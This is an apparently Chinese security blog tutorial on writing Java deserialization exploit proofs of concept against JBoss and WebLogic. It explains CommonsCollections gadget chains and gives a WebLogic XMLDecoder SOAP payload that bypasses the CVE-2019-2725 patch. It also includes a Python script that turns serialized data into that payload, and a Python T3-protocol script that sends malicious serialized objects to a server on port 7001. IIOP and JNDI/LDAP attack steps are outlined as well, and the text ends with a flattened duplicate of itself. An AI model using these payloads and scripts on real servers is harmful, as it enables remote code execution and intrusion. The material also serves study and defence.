浅析反序列化POC
字数 2422 2025-08-15 21:32:05

反序列化漏洞POC编写深度解析

0x00 JBOSS反序列化POC编写

CommonsCollections利用链

CommonsCollections反序列化利用链主要由四个Transformer类构成:

  1. ConstantTransformer:输入一个xxx.class,返回java.lang.Class的类对象
  2. InvokerTransformer:通过反射执行方法
  3. ChainedTransformer:将多个Transformer串联执行
  4. TransformedMap:触发transform方法的载体

典型利用流程

  1. 第一个InvokerTransformer执行:

    Method getRun = Runtime.class.getMethod("getRuntime", 参数类型说明)
    
  2. 第二个InvokerTransformer执行:

    Runtime getRun = getRun.invoke();
    
  3. 第三个InvokerTransformer执行:

    Method getexec = Runtime.class.getMethod("exec", 参数类型说明)
    getexec.invoke(getRun, 需要执行的命令)
    
  4. 通过ChainedTransformer传入Transform数组,再传入TranformedMap,最终触发setValue方法执行命令

LazyMap类型POC构造

LazyMap没有setValue方法,需要通过get方法触发:

  1. 使用动态代理机制触发AnnotationInvocationHandler类的invoke方法
  2. 构造两次InvocationHandler代理:
    • 第一次:为LazyMap创建代理对象,触发invoke方法中的default选项
    • 第二次:让InvocationHandler代理对象进行readObject方法调用

BadAttributeValueExpException类型POC

利用链:

  1. BadAttributeValueExpException的readObject调用val域的toString方法
  2. TiedMapEntry类的toString调用getValue方法
  3. getValue方法调用LazyMap的get方法
  4. get方法触发ChainedTransformer的transform方法

完整流程:
CC链 → ChainedTransformer → LazyMap → TiedMapEntry → BadAttributeValueExpException的val域 → readObject → toString → getValue → get → transform

0x01 XMLDecoder反序列化POC编写

Weblogic XMLDecoder漏洞演变

  1. CVE-2017-3506

    • 解析WorkContext标签内的java标签
    • object标签指定加载类
    • void标签指定方法
    • array标签指定参数
  2. CVE-2017-10271

    • 绕过补丁:使用void标签代替object标签(voidElementHandler继承自ObjectElementHandler)
  3. CVE-2019-2725补丁限制:

    • 禁用object、new、method标签
    • void标签只能有index属性
    • array标签的class属性值只能是byte

绕过补丁的POC构造

利用UnitOfWorkChangeSet类:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <array method="forName">
          <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
          <void>
            <array class="byte" length="反序列化数据长度">
              <void index="0">
                <byte>-84</byte>
              </void>
              <!-- 更多byte数据 -->
            </array>
          </void>
        </array>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

序列化数据转换脚本

# -*- coding:utf-8 -*-
import binascii

with open('poc', 'rb') as f:
    a = binascii.b2a_hex(f.read()).decode('utf-8')

b = []
for i in range(len(a)//2):
    c = '0x'+a[2*i]+a[2*i+1]
    c = eval(c)
    if int(c)>127:
        # 补码转原码计算
        c = int(c)
        c ='{:08b}'.format(c)
        c = list(c)
        d = ''
        for i in range(len(c)):
            if i == 0: d += c[i]; continue
            elif c[i] == '1': c[i] ='0'; d += c[i]
            else: c[i] = '1'; d += c[i]
        d = list(d)
        pos = 0
        for index in range(len(d)):
            if d[index] == '0': pos = index
        for index in range(pos,len(d)):
            if d[index] == '0': d[index] = '1'
            else: d[index] = '0'
        d.remove(d[0])
        d = '0b'+''.join(d)
        d = '-' + str(eval(d))
        b.append(d)
    else:
        b.append(str(c))

# 构造POC各部分
pocHeader = '<?xml version="1.0" encoding="utf-8"?>...'
pocBody = ''.join(f'<void index="{i}"><byte>{b[i]}</byte></void>' for i in range(len(b)))
pocFooter = '</array></void></array></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

with open('poc.txt','w+') as f:
    f.write(pocHeader + pocBody + pocFooter)

0x02 T3协议反序列化POC编写

T3协议握手流程

  1. 客户端发送握手信息:

    t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n
    
  2. 服务端返回响应

  3. 客户端发送构造的序列化数据

T3数据构造方法

  1. 修改weblogic的stopWebLogic.sh脚本获取正常T3流量
  2. 分析流量结构:
    • 固定T3数据头
    • 反序列化数据段(以aced0005开头,fe010000结尾)

POC构造示例

# -*- coding:utf-8 -*-
import binascii
import socket
import time

def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n'
    host = ('192.168.23.128', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    response = sock.recv(2048)
    
    # T3请求数据
    data1 = '000005be016501ffffffffffffffff000000690000ea600000001816e4292ca381af623658de6c3770e50a53746339ada2505a027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000...'
    data2 = '14000a3137322e32302e302e325adb1b310000000078'
    
    for d in [data1, data2]:
        sock.send(binascii.a2b_hex(d))
        print(sock.recv(2048))
    
    # 加载恶意序列化数据
    with open('poc1', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
    
    header = '056508000000010000001b0000005b010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000ab08d9e9c939abfcecdcc7400087765626c6f67696306fe010000'
    footer = 'fe010000'
    data = header + a + footer
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(5)

if __name__ == "__main__":
    t3()

0x03 IIOP反序列化POC

漏洞原理

Weblogic IIOP协议:

  1. 默认开启,与T3协议共用7001端口
  2. 漏洞原因:错误过滤JtaTransactionManager类
    • T3协议使用resolveClass方法过滤(会检查父类)
    • IIOP协议只检查本类类名,而JtaTransactionManager类不在黑名单且存在JNDI注入

POC构造要点

  1. 创建AnnotationInvocationHandler的动态代理
  2. 将代理对象发送到服务端进行反序列化
  3. 检测方法:发送IIOP请求,检查返回包中是否包含GIOP字段

0x04 JNDI注入类型LDAP反序列化

利用方式

  1. LDAP服务可以描述Java对象信息并返回序列化数据
  2. JNDI客户端自动反序列化返回的数据

POC构造步骤

  1. 生成恶意序列化文件
  2. 将序列化数据Base64编码
  3. 配置LDAP服务返回该序列化数据
  4. 客户端发起LDAP请求触发反序列化

关键参考链接

  1. CommonsCollections分析:

    • https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg
    • https://www.freebuf.com/articles/web/246081.html
  2. LazyMap利用:

    • https://www.freebuf.com/articles/web/247672.html
  3. Weblogic XMLDecoder:

    • https://www.freebuf.com/vuls/206374.html
  4. T3协议分析:

    • https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
  5. IIOP协议分析:

    • https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  6. JNDI注入:

    • https://blog.csdn.net/weixin_44063566/article/details/88897261
反序列化漏洞POC编写深度解析 0x00 JBOSS反序列化POC编写 CommonsCollections利用链 CommonsCollections反序列化利用链主要由四个Transformer类构成: ConstantTransformer :输入一个xxx.class,返回java.lang.Class的类对象 InvokerTransformer :通过反射执行方法 ChainedTransformer :将多个Transformer串联执行 TransformedMap :触发transform方法的载体 典型利用流程 第一个InvokerTransformer执行: 第二个InvokerTransformer执行: 第三个InvokerTransformer执行: 通过ChainedTransformer传入Transform数组,再传入TranformedMap,最终触发setValue方法执行命令 LazyMap类型POC构造 LazyMap没有setValue方法,需要通过get方法触发: 使用动态代理机制触发AnnotationInvocationHandler类的invoke方法 构造两次InvocationHandler代理: 第一次:为LazyMap创建代理对象,触发invoke方法中的default选项 第二次:让InvocationHandler代理对象进行readObject方法调用 BadAttributeValueExpException类型POC 利用链: BadAttributeValueExpException的readObject调用val域的toString方法 TiedMapEntry类的toString调用getValue方法 getValue方法调用LazyMap的get方法 get方法触发ChainedTransformer的transform方法 完整流程: CC链 → ChainedTransformer → LazyMap → TiedMapEntry → BadAttributeValueExpException的val域 → readObject → toString → getValue → get → transform 0x01 XMLDecoder反序列化POC编写 Weblogic XMLDecoder漏洞演变 CVE-2017-3506 : 解析WorkContext标签内的java标签 object标签指定加载类 void标签指定方法 array标签指定参数 CVE-2017-10271 : 绕过补丁:使用void标签代替object标签(voidElementHandler继承自ObjectElementHandler) CVE-2019-2725 补丁限制: 禁用object、new、method标签 void标签只能有index属性 array标签的class属性值只能是byte 绕过补丁的POC构造 利用UnitOfWorkChangeSet类: 序列化数据转换脚本 0x02 T3协议反序列化POC编写 T3协议握手流程 客户端发送握手信息: 服务端返回响应 客户端发送构造的序列化数据 T3数据构造方法 修改weblogic的stopWebLogic.sh脚本获取正常T3流量 分析流量结构: 固定T3数据头 反序列化数据段(以aced0005开头,fe010000结尾) POC构造示例 0x03 IIOP反序列化POC 漏洞原理 Weblogic IIOP协议: 默认开启,与T3协议共用7001端口 漏洞原因:错误过滤JtaTransactionManager类 T3协议使用resolveClass方法过滤(会检查父类) IIOP协议只检查本类类名,而JtaTransactionManager类不在黑名单且存在JNDI注入 POC构造要点 创建AnnotationInvocationHandler的动态代理 将代理对象发送到服务端进行反序列化 检测方法:发送IIOP请求,检查返回包中是否包含GIOP字段 0x04 JNDI注入类型LDAP反序列化 利用方式 LDAP服务可以描述Java对象信息并返回序列化数据 JNDI客户端自动反序列化返回的数据 POC构造步骤 生成恶意序列化文件 将序列化数据Base64编码 配置LDAP服务返回该序列化数据 客户端发起LDAP请求触发反序列化 关键参考链接 CommonsCollections分析: https://mp.weixin.qq.com/s/OMXrFc7uUN8wGv6yHno3Lg https://www.freebuf.com/articles/web/246081.html LazyMap利用: https://www.freebuf.com/articles/web/247672.html Weblogic XMLDecoder: https://www.freebuf.com/vuls/206374.html T3协议分析: https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/ IIOP协议分析: https://l3yx.github.io/2020/04/22/Weblogic-IIOP-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ JNDI注入: https://blog.csdn.net/weixin_ 44063566/article/details/88897261